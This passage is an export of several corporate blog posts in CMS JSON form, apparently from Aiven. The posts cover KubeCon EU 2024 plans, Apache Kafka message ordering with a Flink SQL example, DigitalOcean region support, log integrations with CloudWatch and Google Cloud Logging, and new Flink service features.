allow those businesses, currently on the outside of the data economy looking in, a prime seat at the table of change.\n","categories":[{"_key":"932964104d93","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"},{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Creating the Foundation to Unlock the Opportunity with AI","asset":{"_ref":"image-15f0456c5c7eca3093c9a9dda674df2e214e81d3-1200x630-png","_type":"reference"}},"publishedAt":"2024-12-12T14:42:00.000Z","related":[{"_key":"bbac45ef9dcf","_ref":"ed060249-9434-471e-aa59-4802e435a290","_type":"reference"},{"_key":"d72c2e0232fd","_ref":"0ad4e125-5238-4750-a6d4-0edba23b4856","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"It’s no secret that businesses around the world are in an arms race to adopt AI, but many are skipping the first step for success.\n","metaImage":{"_type":"mainImage","alt":"Creating the Foundation to Unlock the Opportunity with AI","asset":{"_ref":"image-15f0456c5c7eca3093c9a9dda674df2e214e81d3-1200x630-png","_type":"reference"}},"metaTitle":"The Data Economy: Creating a Strong Foundation for AI"},"slug":{"_type":"slug","current":"/blog/creating-the-foundation-to-unlock-the-opportunity-with-ai"},"subtitle":"From Data to Deployment: Creating a Strong Foundation for AI","title":"Creating the Foundation to Unlock the Opportunity with AI"}
{"__i18n_lang":"en","_createdAt":"2024-03-06T11:57:09Z","_id":"639e7143-ad2c-4385-94f7-da58e90e6bab","_rev":"0h6e4MYEG0xbOjLBGGcWIo","_type":"post","_updatedAt":"2024-11-28T12:26:52Z","authors":[{"_key":"3436216b6805","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"Hello readers! Aiven and I will be at KubeCon EU 2024 in Paris, France. This is Aiven's first time at KubeCon, but not mine: in addition to my role as VP of Product Management at Aiven, I'm a longtime contributor to the CNCF ecosystem. Here are the activities I am most looking forward to at Kubecon in Paris, aside from the excellent wine, bread, and pastries which are in my future. Furthermore, I have been hitting the gym hard in preparation.  \n\n## March 19: The conference before the conference\n\nKubeCon is renowned for its proliferation of co-located events; however, this year there are new entrants! This will be the first time [ThanosCon](https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/co-located-events/thanoscon/) is run, and my esteemed colleague and Thanos maintainer Michael Hoffman, who is a senior SRE at Aiven is one of the organizers. \n\nI’m looking forward to the following sessions at ThanosCon: \n- [Scaling Thanos at Reddit](https://sched.co/1YFeR) for a hands-on case study of Thanos at a massive scale\n- [A talk on multi-threaded Thanos](https://sched.co/1YFgK) from the folks at Red Hat\n \nIn addition to attending ThanosCon, I’ll be jumping around to the following co-located events:\n- [AppDeveloperCon](https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/co-located-events/appdevelopercon/) to learn more about the application developer ecosystem, as this is an area of research and development for us at Aiven in the product management team. \n- [BackstageCon](https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/co-located-events/backstagecon/) as we have been conducting discovery on the requirements from customers to build an Aiven plugin. Aiven’s product roadmap is public and [you can vote for this idea if you are interested](https://ideas.aiven.io/forums/951112-platform-experience/suggestions/47150894-backstage-plugin-for-aiven), or get in touch with me directly. \n- There are also lightning talks on the 19th scheduled. I will be attending some of these, for example Aiven customer [OVO energy's talk on platform engineering](https://sched.co/1ZfTJ). \n\n## Where to find Aiveners\n\nThe Aiven booth is at **J36** in the expo hall, there you’ll find members of Aiven’s developer relations team (Celeste Horgan \u0026 Sebastian Blanc), myself, and members of our sales and marketing teams to show you a quick demo or generally talk data!\n\nIn the morning after the keynote, I will be bouncing between the Jaeger project booth in the CNCF project pavilion, the OpenSearch booth, and of course, the Aiven booth. [Celeste](https://aiven.io/celeste) and [Sebastian](https://aiven.io/sebastian) will also be at the booth during the week.\n\nFellow Aiven cast member Celeste Horgan will be at the [Kubernetes Contributor Summit](https://www.kubernetes.dev/events/2024/kcseu/) on March 19th running the docs sprint. Say hello and learn how to do open source documentation!\n\n## Talks from Aiven cast members \n\nAiven cast members (including myself) are giving two talks at KubeCon EU 2024: \n\n- On **March 20 (Wednesday) 12:20 in Pavilion 7** I’ll be giving a maintainer track talk: [Jaeger: Distributed Tracing with Jaeger and OpenTelemetry](https://sched.co/1YhfT) with Pavol Loffay from Red Hat. We’ll be giving the project updates and what’s new with Jaeger and distributed tracing, so please register and stop by. We already have 200 people registered already, so be sure to register before attending!\n- Later that day at **17:25**,  Aivener and Site Reliability Engineer Micheal Hoffman will be co-presenting with Giedrius Statkevičius, Site Reliability Engineer at Vinted, on Thanos query processing: [From UI to Storage: Unraveling the Magic of Thanos Query Processing](https://sched.co/1Yhii).\n\n\n## Other talks to watch\n\nKubeCon is a massive conference with multiple tracks, but here are some selections from the Data, AI, observability and related tracks!\n\n**Wednesday, March 20:**\n\n- The opening keynotes promise to be fantastic this year, as Kubernetes celebrates its 10-year anniversary. In particular. Expect to hear from Kelsey Hightower, who we were fortunate enough to host at Aiven Live NYC in late February. Here at Aiven we’re looking forward to [Optimizing Performance and Sustainability for AI](https://https://sched.co/1YhIO), as it dovetails nicely with our [commitments to sustainability as a company](https://aiven.io/sustainability) and, of course, the data and AI angle.\n- As mentioned above, my talk on Jaeger and Micheal’s talk on Thanos! \n\n**Thursday, March 21:**\n\n- March 21st I am eagerly awaiting Taylor Dozeal's [keynote on the end user community](https://sched.co/1YhJJ) to hear how the ecosystem is evolving and some new highlights to pay attention to across the community.\n- I will then be attending the session on running [Flink on Kubernetes at](https://sched.co/1YeOZ) 11:55am by CNRS looking to learn more about some end user challenges with Flink. Our colleagues at Aiven will be at the Kafka summit in the same week as Kubecon, getting a lot of in-depth information on Kafka and Flink. \n- At 2:30pm I will attend the session on [intelligent observability](https://sched.co/1YeP6) by Alolita Sharma of Apple, who is one of the people I enjoy working with in CNCF end user projects along with within OpenTelemetry. \n- I will also attend the [Prometheus maintainer talk](https://sched.co/1Yhhz) at 5:25pm to learn what’s new that we can use to help advise customers on improving observability with our Prometheus compatible services. We will also get some insights to the roadmap and what we can look forward to. \n- The ClickHouse team is giving a talk titled [Fantastic Ordinals and How to Avoid Them: Auto-Scaling Challenges in a Cloud Database](https://sched.co/1YePt) which should prove interesting for those interested in scaling ML/AI workloads.\n- Kubernetes maintainer and Googler Bob Killen will also be giving a talk on the [business value of open source and how to communicate it](https://sched.co/1YeQH) which should prove useful for those leading open source product teams!\n\n**Friday, March 22nd:**\n\n- On Friday, I’m eagerly awaiting [Thanos’ Infinity Stones and How You Can Operate Them!](https://sched.co/1Yhi5) From Red Hatters Saswata Mukherjee \u0026 Daniel Mohr. This talk promises to teach us some of the more advanced ways to use and optimize Thanos for metrics.\n- If you have time, I would check out this [Thanos talk on additional use cases in the community](https://sched.co/1Yhi5) or this session on managing large scale [AI training off a LakeHouse at LinkedIn](https://sched.co/1YeQe). \n- I will also be attending the [Contribfest for Jaeger](https://sched.co/1Yhet) where we will work on Jaeger v2 with Jaeger maintainer Pavol Loffay.\n- I am always keen to hear what the team working on Fluent Bit are working on and my friend Eduardo Silva will share [what is cooking with Fluent Bit v3](https://sched.co/1aDbX) in the last session of the week.\n\n\n## One last thing\n\nWe’re proud to announce that Aiven is a **Silver Tier** sponsor at this year’s KubeCon EU 2024. We’re proud to support the cloud native community and keep open source projects vibrant and active.\n\nAt Aiven we’re heavy users of open source technologies to drive our observability pipelines, between our use of Thanos, OpenSearch, ClickHouse, Kafka, Flink, and Vector we are constantly looking for new technologies. KubeCon EU 2024 marks Aiven’s first foray on the show floor as a sponsor, but we hope to see you at KubeCon NA 2024, November 12-15 in Salt Lake City, and in the years to come!\n\nPlease reach out to me to book time to connect or come by our booth. A reminder that our booth is J36, or [book a meeting with our team](https://aiven.io/events/kubecon-europe-2024)!\n","categories":[{"_key":"d66c436bdb2a","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"The words \"What's hot at KubeCon EU 2024\" in white on a blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-db7b5306bb932aaf63437015d2c49906bd1f6c16-1567x844-png","_type":"reference"}},"publishedAt":"2024-03-07T11:28:00.000Z","related":[{"_key":"847a18beb41b","_ref":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_type":"reference"},{"_key":"6ecb840f2ab7","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"17d953c39655","_ref":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/whats-hot-at-kubecon-eu-2024"},"subtitle":"Let Jonah give you his KubeCon EU 2024 recommendations, learn where you can meet with Aiven at the event, and more!","title":"What’s Hot at KubeCon EU 2024"}
{"__i18n_lang":"en","_createdAt":"2023-03-14T17:07:35Z","_id":"62b51ae6-e71b-4a73-a7c8-615f6380c55c","_rev":"msvVOwV0ly404Y5JqDPGoz","_type":"post","_updatedAt":"2024-08-09T10:24:10Z","authors":[{"_key":"b3993687d9bc","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"One of Apache Kafka®'s most known mantras is \"it preserves the message ordering per topic-partition\", but is it always true? In this blog post we'll analyze a few real scenarios where accepting the dogma without questioning it could result in unexpected, and erroneous, sequences of messages.\n \n## Basic scenario: single producer\n\nWe can start our journey with a basic scenario: a single producer sending messages to an Apache Kafka topic with a single partition, in sequence, one after the other. \n\n![Single producer sending three messages to Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/a71b963f5f098076a3cdd4cc21251d0a6ac30b69-1482x454.png)\n\nIn this basic situation, as per the known mantra, we should expect an always correct ordering. But, is it true? Well... it depends!\n\n### The network is not equal\n\nIn an ideal world, the single producer scenario should always result in a correct ordering. But our world isn't perfect! Different network paths, errors and delays could mean that a message gets delayed or lost.\n\nLet's imagine a situation below: a single producer, sending three messages to a topic:\n\n* Message `1`, for some reason, finds a long network route to Apache Kafka\n* Message `2` finds the quickest network route to Apache Kafka\n* Message `3` gets lost in the network\n\n![A single producer posting three messages, 1 with a long route, 2 with a short route, 3 with a broken route. End result is message ordering 2,1](https://cdn.sanity.io/images/sczeoy4w/production/6ecf1e65d28878cb6e079b66cafb880431374f6d-1742x698.png)\n\nEven in this basic scenario, with only one producer, we could get an unexpected series of messages in the topic.\nThe end result on the Kafka topic will show only two events being stored, with the unexpected ordering `2`, `1`. \n\nIf you think about it, it's the correct ordering from the **Apache Kafka point of view**: a topic is only a log of information and Apache Kafka will write the messages to the log depending on when it \"senses\" the arrival of a new event. It's based on Kafka **ingestion time** and not on when the message was created (**event time**).\n\n### Acks and retries\n\nBut, not all is lost! If we look into the producing libraries ([aiokafka](https://aiokafka.readthedocs.io/en/stable/producer.html) being an example) we have ways to ensure that messages are delivered properly.\n\nFirst of all, to avoid the problem with the message `3` in the above scenario, we could define a proper **acknowledgment** mechanism. The `acks` producer parameter allows us to define what confirmation of message reception we want to have from Apache Kafka. \n\nSetting this parameter to `1` will ensure that we receive acknowledgment from the primary broker responsible for the topic (and partition). Setting it to `all` will ensure that we receive the ack only if both the primary and the replicas correctly store the message, thus saving us from problems when only the primary receives the message and then fails before propagating it to the replicas. \n\nOnce we set a sensible `ack`, we should set the possibility to  **retry** sending the message if we don't receive a proper acknowledgment. Differently from other libraries ([kafka-python](https://kafka-python.readthedocs.io/en/master/) being one of them), aiokafka will retry sending the message automatically until the timeout (set by the `request_timeout_ms` parameter) has been exceeded.\n\nWith **acknowledgment** and automatic **retries**, we should solve the problem for the message `3`. The first time it is sent, the producer will not receive the `ack`, therefore, after the `retry_backoff_ms` interval, it will send the message `3` again.\n\n![Same scenario, with proper ack and retries now message 3 gets correctly delivered](https://cdn.sanity.io/images/sczeoy4w/production/00c77a462a0f19eea18f417fb441374161b5a04a-1742x798.png)\n\n### Max in flight requests\n\nHowever, if you watch closely the end result in the Apache Kafka topic, the resulting ordering is **not correct**: we sent `1,2,3` and got `2,1,3` in the topic... how to fix that? \n\nThe old method (available in [kafka-python](https://kafka-python.readthedocs.io/en/master/)), was to set the **maximum in flight request per connection**: the number of messages we allow to be \"in the air\" at the same time without acknowledgment. The more messages we allow in the air at the same time, the more risk of getting out of order messages. \n\nWhen using kafka-python, if we absolutely needed to have a specific ordering in the topic, we were forced to limit the `max_in_flight_requests_per_connection` to `1`. Basically, supposing that we set the `ack` parameter to at least `1`, we were waiting for an acknowledgment of every single message (or batch of messages if the message size is less than the batch size) before sending the following one. \n\n![Kafka producer with max_in_flight_requests_per_connection=1, basically serialising the messages sent, resulting in the correct ordering](https://cdn.sanity.io/images/sczeoy4w/production/e4c347d7d73fc717e27b279aa21ef4571c02dfb5-1742x872.png)\n\nThe absolute correctness of ordering, acknowledgment and retries come at cost of **throughput**. The smaller amount of messages we allow to be \"in the air\" at the same time, the more acks we need to receive, the less overall messages we can deliver to Kafka in a defined timeframe. \n\n### Idempotent producers\n\nTo overcome the strict serialization of sending one message at a time and waiting for the acknowledgement, we can define **idempotent producers**. With an idempotent producer, each message gets labelled with both a producer ID, and a serial number (a sequence maintained for each partition). This composed ID is then sent to the broker alongside the message.\n\nThe broker keeps track of the serial number per producer and topic/partition. Whenever a new message arrives, the broker checks the composed ID, and if, within the same producer, the value is equal to the previous number + 1, then the new message is acknowledged, otherwise it is rejected. This provides a guarantee of the global ordering of messages allowing a higher number of in flight requests per connection ([maximum of 5 for the Java client](https://kafka.apache.org/34/documentation.html#producerconfigs_enable.idempotence)).\n\n\n## Increase complexity with multiple producers\n\nSo far we imagined a basic scenario with only one producer, but the reality in Apache Kafka is that often the producers will be multiple. What are the little details to be aware of, if we want to be sure about the end ordering result? \n\n### Different locations, different latency\n\nAgain, the **network is not equal**, and with several producers located in possibly very remote positions, the different latency means that the Kafka ordering could differ from the one based on event time.\n\n![Two Kafka producers with different latency could mean that the resulting order is not what expected](https://cdn.sanity.io/images/sczeoy4w/production/e17af7a2832ee4b93fbfa0cf05c0e8cacc8b4e80-1882x784.png)\n\nUnfortunately, the different latencies between different locations on earth can't be fixed, therefore we will need to accept this scenario.\n\n### Batching, an additional variable\n\nTo achieve a higher throughput, we might want to [batch](https://kafka.apache.org/34/documentation.html#design_asyncsend) messages. With batching we send messages in \"groups\", minimizing the overall number of calls, and increasing the payload to overall message size ratio. But, in doing so, we can again alter the ordering of events. The messages in Apache Kafka will be stored per batch, depending on the batch ingestion time. Therefore, the ordering of messages will be correct per batch, but different batches could have different ordered messages within them.\n\n![Two Kafka producers batching the messages, the resulting ordering is dependant on the batch ingestion time](https://cdn.sanity.io/images/sczeoy4w/production/800045dfdd26179f8dee0d9f070e1121822ee803-1880x1096.png)\n\nNow, with both different latencies and batching in place, it seems that our global ordering premise would be completely lost... So, why are we claiming that we can manage the events **in order**?\n\n## The savior: event time\n\nWe understood that the original premise about Kafka keeping the message ordering is not 100% true, the ordering of the messages depends on the Kafka ingestion time and not on the event generation time. But, what if the ordering based on event-time is important?\n\nWell, we can't fix the problem on the production side, but we can do it on the consumer side. All the most common tools that work with Apache Kafka have the ability to define which field to use as event time, including [Kafka Streams](https://kafka.apache.org/0110/documentation/streams/core-concepts#streams_time), Kafka Connect with the dedicated **Timestamp extractor** single message transformation (SMT) and [Apache Flink®](https://nightlies.apache.org/flink/flink-docs-release-1.16/docs/concepts/time/).\n\nConsumers, when properly defined, will be able to reshuffle the ordering of messages coming from a particular Apache Kafka topic. Let's analyze the Apache Flink example below:\n\n```sql\nCREATE TABLE CPU_IN (\n    hostname STRING,\n    cpu STRING,\n    usage DOUBLE,\n    occurred_at BIGINT,\n    time_ltz AS TO_TIMESTAMP_LTZ(occurred_at, 3),\n    WATERMARK FOR time_ltz AS time_ltz - INTERVAL '10' SECOND\n    )\nWITH (\n   'connector' = 'kafka',\n   'properties.bootstrap.servers' = '',\n   'topic' = 'cpu_load_stats_real',\n   'value.format' = 'json',\n   'scan.startup.mode' = 'earliest-offset'\n)\n```\n\nIn the above Apache Flink table definition, we can notice: \n* `occurred_at`: the field is defined in the source Apache Kafka topic in unix time (datatype is `BIGINT`). \n* `time_ltz AS TO_TIMESTAMP_LTZ(occurred_at, 3)`: transforms the unix time into the Flink timestamp.\n* `WATERMARK FOR time_ltz AS time_ltz - INTERVAL '10' SECOND` defines the new `time_ltz` field (calculated from  `occurred_at`) as the event time and defines a threshold for late arrival of events with a maximum of 10 seconds delay.\n\nOnce the above table is defined, the `time_ltz` field can then be used to correctly order events and define aggregation windows, making sure that all events within the accepted latency are included in the calculations.\n\nThe `- INTERVAL '10' SECOND` defines the latency of the data pipeline, and is the penality we need to include to allow the correct ingestion of late arriving events. Please note, however, that the throughput is not impacted. We can have as many messages flowing in our pipeline as we want, but we're \"waiting 10 seconds\" before calculating any final KPI in order to make sure we include in the picture all the events in a specific timeframe.\n\nAn alternative approach, that works only if the events contain the full state, is to keep for a certain key (`hostname` and `cpu` in the above example) the maximum event time reached so far, and only accept changes where the new event time is greater than the maximum.\n\n\n## Wrapping up\n\nThe concept of ordering in Kafka can be tricky, even if we only include a single topic with a single partition. This post shared a few common situations that could result in an unexpected series of events. Luckily options like limiting the number of messages in flight, or using idempotent producers, can help achieve an ordering in line with expectations. \nIn the case of multiple producers, and the unpredictability of network latency, the option available is to fix the overall ordering on the consumer side by properly handling the event time that needs to be specified in the payload.\n\nSome further readings:\n\n* [Kafka Streams event time](https://kafka.apache.org/0110/documentation/streams/core-concepts)\n* [Check out the Timestamp router SMT in Kafka Connect](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink#create-daily-opensearch-indices)\n* [View Apache Kafka® messages live in the Aiven Console](https://aiven.io/blog/kafka-messages-ui-announcement)\n* [Cut costs by 40% on Apache Kafka®](https://aiven.io/cut-your-apache-kafka-costs-with-aiven-by-up-to-40-percent)\n* [Aiven supports Apache Kafka® 2.8](https://aiven.io/blog/aiven-supports-apache-kafka-2-8)\n* [Aiven supports Apache Kafka® 2.6](https://aiven.io/blog/aiven-supports-apache-kafka-2-6)\n","categories":[{"_key":"183c1a8d09c9","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"38e61c479017","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"Apache Kafka® preserves the message ordering per topic/partition - or does it?\" against a blue background with the Aiven cuddly crab logo in the corner","asset":{"_ref":"image-bd460cdf723711bc2fe6d6c9749f5c6fc71a9eb9-1567x844-png","_type":"reference"}},"publishedAt":"2023-03-21T10:25:50.161Z","related":[{"_key":"63963b504e07","_ref":"ElLnRMEzVGBvCslc1mXoT","_type":"reference"},{"_key":"592159dc9e66","_ref":"9de4f40b-c05c-4d3e-8ef4-1c0446f4d4a9","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/kafka-real-ordering"},"subtitle":"We’re told that Apache Kafka® preserves message ordering per topic/partition, but how true is that, and how close can we come to making it true?","title":"Does Apache Kafka® really preserve message ordering?"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6CEpWzJmNiaYE1ZKx7TvLl","_rev":"YFURCCIYWC1zW2kvzUZOa5","_type":"post","_updatedAt":"2023-08-04T18:01:28Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"Since our last announcement we've been hard at work to expand our cloud coverage geographically to include **DigitalOcean**'s datacenter regions.\n\nDigitalOcean Inc is a New York based cloud provider with a high uptime and amazing hardware that lets its users scale easily. See [digitalocean.com](https://www.digitalocean.com/) for more information.\n\nThe new Aiven regions that are immediately available are:\n\n*   EU Netherlands (DigitalOcean)\n*   EU Germany (DigitalOcean)\n*   EU England (DigitalOcean)\n*   US New York (DigitalOcean)\n*   US California (DigitalOcean)\n*   Asia Singapore (DigitalOcean)\n*   Canada Ontario (DigitalOcean)\n\nAlong with the existing Aiven regions in Amazon Web Services, Google Cloud and UpCloud, this brings the current number of regions Aiven supports to twenty-four.\n\nGo to [aiven.io](/) to get started!\n\nWe're always looking for feedback on what to improve so feel free to let us know if you have ideas on what you'd love to see us support next.\n\nPS. You can also check out our previous [blog post](https://aiven.io/blog/aiven-postgresql-tutorial) that has a basic walkthrough of the Aiven web console!\n","categories":[],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-02-02T11:51:00.000Z","seo":{"metaDescription":"DigitalOcean is focused on speed, which is why we’re offering Aiven for PostgreSQL across 7 of its regions. Find out which ones here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® available in DigitalOcean"},"slug":{"_type":"slug","current":"/blog/support-for-digitalocean-added-to-aiven"},"subtitle":"DigitalOcean is focused on speed, which is why we’re offering Aiven for PostgreSQL across 7 of its regions. Find out which ones here.","title":"Aiven for PostgreSQL® available in DigitalOcean"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6DVg3fOD4cOwMcfEr9LlNF","_rev":"ZLvKaZvfbZlWBlGcpInsGn","_type":"post","_updatedAt":"2024-01-29T15:38:05Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"For those of you running your logs and metrics infrastructure in AWS CloudWatch or Google Cloud Logging, life just got a little easier — you can now include your Aiven service logs with a simple integration.\n\nOnce enabled, you’ll not only have a more consolidated overview of your logs but be able to manage your Aiven logs more efficiently, whether searching them or performing other actions such as setting alerts.\n\nHow simple is it to set up this integration? A few minutes is all it takes. Let’s dive into the details.\n\n## How to enable service log integrations in the Aiven Console\n\nIn this post, we’ll cover the integration setup process in Aiven’s Web Console. For instructions on setting up the integrations using the Aiven Client, check out our [AWS CloudWatch](https://aiven.io/docs/integrations/cloudwatch) help articles.\n\n### AWS CloudWatch\n\nFirst, you need to add an *AWS CloudWatch Logs* integration endpoint to your Aiven project. You can do this by navigating to the *Service Integrations* section of your project. You will need to input your access rights credentials to create the endpoint.\n\n![aws cloudwatch logs access rights fixed](//cdn.sanity.io/images/sczeoy4w/production/3bdb20dd26e0a13526b8fc08be947ec5e836cbce-1964x256.png)\n\nOnce the endpoint is created, you can enable the integration by navigating to your service and selecting *Manage Integrations*. Select *AWS CloudWatch Logs* from the list of integrations.\n\n![Select cloudwatch integration](//cdn.sanity.io/images/sczeoy4w/production/01811e18b541a1dd4f4c446cd4751fa9dff412a6-1598x802.png)\n\nChoose the endpoint you created earlier.\n\n![choose aws cloudwatch integration endpoint](//cdn.sanity.io/images/sczeoy4w/production/63be3346d8231fd4209e78e42a398408b2485d54-1600x360.png)\n\nAttaching the service to an endpoint will enable service logs to be sent into AWS CloudWatch. Aiven will automatically create log streams for you in AWS CloudWatch to the log group you created in the integration endpoint configuration.\n\n### Google Cloud Logging\n\nAs with AWS CloudWatch, the first step is to add a Google Cloud Logging integration endpoint to your Aiven project by navigating to *Service Integrations*. Configure the __GCP Project ID__ and the __Log ID__ used for the logs you send to Google Cloud Logging.\n\n![google cloud logging access rights fixed](//cdn.sanity.io/images/sczeoy4w/production/49769190435e8c47a2af3fc21dce3460dbecc961-1766x356.png)\n\nOnce the endpoint is created, you can enable the integration by navigating to the service you want to send logs from and clicking *Manage Integrations*. Select *Google Cloud Logging* from the list of integrations.\n\n![select cloud logging from list of integrations](//cdn.sanity.io/images/sczeoy4w/production/71c0f3af36d4e7295681c4c77c5017831ec566d2-1584x568.png)\n\nChoose the endpoint you created earlier.\n\n![choose cloud logging endpoint](//images.ctfassets.net/q3u27v6lpki8/6CkDaEaGUf4R1OoZlRcxyi/30e7cbf00bb95e31f9ba65f666f62dd1/choose_cloud_logging_endpoint.png)\n\nAnd that’s it! Your Aiven service logs will be sent to Google Cloud Logging once you attach your service to the endpoint and you’ll be able to view the logs in your Google Cloud Platform console!\n\n## Wrapping up\n\nThese two integrations allow you to more seamlessly incorporate your Aiven services into your AWS and GCP deployments. For detailed instructions on how to set up the logs integrations, read our help center articles for setting up [AWS CloudWatch](https://help.aiven.io/en/articles/4134821-sending-service-logs-to-aws-cloudwatch) and [Google Cloud Logging](https://help.aiven.io/en/articles/4209837-sending-service-logs-to-google-cloud-logging).\n\nTo find out how to send your service resource metrics to AWS CloudWatch, see the October 2022 blog post [\"I see you\" - Watch your Aiven metrics with CloudWatch](https://aiven.io/blog/watch-your-aiven-metrics-with-cloudwatch)\n\nAlso, subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog RSS feeds](https://aiven.io/blog/feed.xml), and follow us on [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) to stay up-to-date with product updates, and new services.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-f9da7dc0336f3436e1634ebb39fdb6577eaf6b27-1567x844-png","_type":"reference"}},"publishedAt":"2020-07-13T00:00:00.000Z","related":[{"_key":"c5a535d40eaa","_ref":"9193ac82-e768-43d3-930c-4d99ad8bcf81","_type":"reference"}],"seo":{"metaDescription":"Now you can send the logs of your Aiven services to Amazon AWS CloudWatch and Google Cloud Logging for storing, viewing, and archiving.","metaImage":{"alt":"","asset":{"_ref":"image-f9da7dc0336f3436e1634ebb39fdb6577eaf6b27-1567x844-png","_type":"reference"}},"metaTitle":"Aiven now integrates with AWS CloudWatch and Google Cloud Logging"},"slug":{"_type":"slug","current":"/blog/aiven-now-integrates-with-aws-cloudwatch-and-google-cloud-logging"},"subtitle":"Now you can send the logs of your Aiven services to Amazon AWS CloudWatch and Google Cloud Logging for storing, viewing, and archiving.","title":"Aiven now integrates with AWS CloudWatch and Google Cloud Logging"}
{"__i18n_lang":"en","_createdAt":"2023-06-12T10:14:43Z","_id":"0d6dfe94-b3d8-4b4e-be11-228510ed43c9","_rev":"ZLvKaZvfbZlWBlGcpInqGC","_type":"post","_updatedAt":"2024-01-29T15:37:36Z","authors":[{"_key":"6aeb23c71505","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"},{"_key":"907364e8d291","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"## Aiven for Apache Flink: New features added in Q2 2023.\n\nBack in February 2023, we launched Aiven for Apache Flink as a fully-managed Flink service that evolves around three key themes: \n\n1. The ability to run Apache Flink applications in the cloud of your choice, including AWS, Google Cloud and Microsoft Azure.\n2. The simplicity of using the Flink SQL and Table API to run unified queries on top of real-time data \n3. A Flink automation layer that allows users to eliminate the operational overhead of deploying, running, monitoring and managing open source Apache Flink for production workloads.\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/496efedb790baa71d52fd9c7bb68ccce20acbbe0-1612x1176.png?w=450)\n\n\nAfter the first three months of launching the service, we are excited to bring some new enhancements to Aiven for Apache Flink that will enable our customers to easily connect their Flink jobs to the rest of their infrastructure and allow them to scale their stream processing applications to bigger volumes as their usage and adoption of Aiven for Apache Flink grows. Today we are introducing:\n1. Aiven for Apache Flink can now read data from/write data to instances of Apache Kafka that may or may not be managed by Aiven.\n2. Aiven for Apache Flink now comes with a built-in CDC Connector for PostgreSQL.\n\nIn the following sections, we discuss the latest enhancements to the Flink service and share additional background on how to leverage them for stateful stream processing with Aiven.\n\n\n### Integration with all types of Apache Kafka clusters\n\nThe first release of Aiven for Apache Flink came with built-in integrations for other Aiven services with a few simple steps including Aiven for Apache Kafka®, Aiven for PostgreSQL® and Aiven for OpenSearch®. However, modern stream processing computations oftentimes require the processing of events from multiple places. At Aiven, we want customers to experience such streaming applications, no matter where their data is residing, especially for bigger scale and more sophisticated scenarios. This is why we now make it available to connect Aiven for Apache Flink services to all types of [Apache Kafka clusters](https://aiven.io/docs/products/flink/howto/ext-kafka-flink-integration) — whether they are fully managed by Aiven or not. This significantly improves the efficiency of a data pipeline and encourages data sharing and collaboration across various teams within an organization.\n\nFor example, Aiven users can now easily connect Aiven for Apache Flink to clusters that are self-managed and process events in real-time for streaming analytics use cases. This can be the case for specific types of events that might need to be retained to a Kafka topic that is managed on a client’s premises and not in the public cloud*. Users of the service can easily offload events to Apache Flink, perform any stateful computations and pass the events to downstream Kafka topics that reside in a fully managed environment like Aiven for Apache Kafka or in a [self-managed environment of their choice](https://aiven.io/docs/products/flink/howto/ext-kafka-flink-integration).\n\nA typical use case for this scenario would be stream processing and streaming analytics applications for data that is not managed by Aiven due to regulatory or other reasons. Users of our Flink service in highly regulated industries like financial services, government or healthcare can now retain full control of their data residency requirements by: \n1. Deploying Aiven for Apache Flink in their own cloud account, with Aiven’s newly introduced [Bring-Your-Own-Cloud (BYOC) deployment mode](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc)\n2. Processing data in real-time with Aiven for Apache Flink from a Kafka topic that may or may not be managed by Aiven\n3. Passing the processed events to downstream Kafka topics (or other Aiven services) for further processing or analysis.\n\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/bc829ea7a024a9e6c8d6bad9656eb7a0e801c73c-1999x637.png?w=450)\n\n\nIn addition, and in line with Aiven’s vision of being the trusted open source data platform for everyone, customers can now leverage the openness of the Aiven platform and process their data in real-time from Kafka topics that might be fully managed by other vendors in the market. \n\nWhat Aiven customers now get out-of-the-box is the ability to leverage the simplicity and scalability of Flink SQL with Aiven for Apache Flink for real-time data processing without the need to migrate their entire 